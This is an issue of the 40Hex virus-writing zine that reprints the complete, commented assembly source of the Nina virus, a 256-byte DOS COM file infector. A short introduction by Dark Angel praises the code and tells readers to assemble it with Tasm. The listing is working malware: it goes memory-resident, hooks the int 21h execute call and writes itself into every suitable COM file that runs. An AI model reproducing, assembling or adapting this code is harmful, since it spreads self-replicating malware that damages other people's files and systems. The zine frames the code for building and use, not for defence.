40Hex Number 9 Volume 2 Issue 5 File 006 Below is the Nina virus. It's a 256 byte generic COM infector supposedly originating in Bulgaria. Although some minor portions are not as highly optimised as they could be, the code is well-written. Items of note include the infection method, which is somewhat reminiscent of Jerusalem, the installation check handler in int 21h, and the residency routine. As always, use Tasm to assemble. Dark Angel .model tiny .code org 100h ; Disassembly done by Dark Angel of Phalcon/Skism ; for 40Hex Number 9, Volume 2 Issue 5 start: push ax mov ax,9753h ; installation check int 21h mov ax,ds dec ax mov ds,ax ; ds->program MCB mov ax,ds:[3] ; get size word push bx push es sub ax,40h ; reserve 40h paragraphs mov bx,ax mov ah,4Ah ; Shrink memory allocation int 21h mov ah,48h ; Allocate 3Fh paragraphs mov bx,3Fh ; for the virus int 21h mov es,ax ; copy virus to high xor di,di ; memory mov si,offset start + 10h ; start at MCB:110h mov cx,100h ; (same as PSP:100h) rep movsb sub ax,10h ; adjust offset as if it push ax ; originated at 100h mov ax,offset highentry push ax retf endfile dw 100h ; size of infected COM file highentry: mov byte ptr cs:[0F2h],0AAh ; change MCB's owner so the ; memory isn't freed when the ; program terminates mov ax,3521h ; get int 21h vector int 21h mov word ptr cs:oldint21,bx ; save it mov word ptr cs:oldint21+2,es push es pop ds mov dx,bx mov ax,2591h ; redirect int 91h to int 21h int 21h push cs pop ds mov dx,offset int21 mov al,21h ; set int 21h to virus vector int 21h pop ds ; ds->original program PSP pop bx push ds pop es return_COM: mov di,100h ; restore original mov si,endfile ; file add si,di ; adjust for COM starting mov cx,100h ; offset rep movsb pop ax push ds ; jmp back to original mov bp,100h ; file (PSP:100) push bp retf exit_install: pop ax ; pop CS:IP and flags in pop ax ; order to balance the pop ax ; stack and then exit the jmp short return_COM ; infected COM file int21: cmp ax,9753h ; installation check? je exit_install cmp ax,4B00h ; execute? jne exitint21 ; nope, quit push ax ; save registers push bx push cx push dx push ds call infect pop ds ; restore registers pop dx pop cx pop bx pop ax exitint21: db 0eah ; jmp far ptr oldint21 dd ? infect: mov ax,3D02h ; open file read/write int 91h jc exit_infect mov bx,ax mov cx,100h push cs pop ds mov ah,3Fh ; Read first 100h bytes mov dx,offset endvirus int 91h mov ax,word ptr endvirus cmp ax,'MZ' ; exit if EXE je close_exit_infect cmp ax,'ZM' ; exit if EXE je close_exit_infect cmp word ptr endvirus+2,9753h ; exit if already je close_exit_infect ; infected mov al,2 ; go to end of file call move_file_pointer cmp ax,0FEB0h ; exit if too large ja close_exit_infect cmp ax,1F4h ; or too small for jb close_exit_infect ; infection mov endfile,ax ; save file size call write mov al,0 ; go to start of file call move_file_pointer mov dx,100h ; write virus call write close_exit_infect: mov ah,3Eh ; Close file int 91h exit_infect: retn move_file_pointer: push dx xor cx,cx xor dx,dx mov ah,42h int 91h pop dx retn write: mov ah,40h mov cx,100h int 91h retn db ' Nina ' endvirus: int 20h ; original COM file end start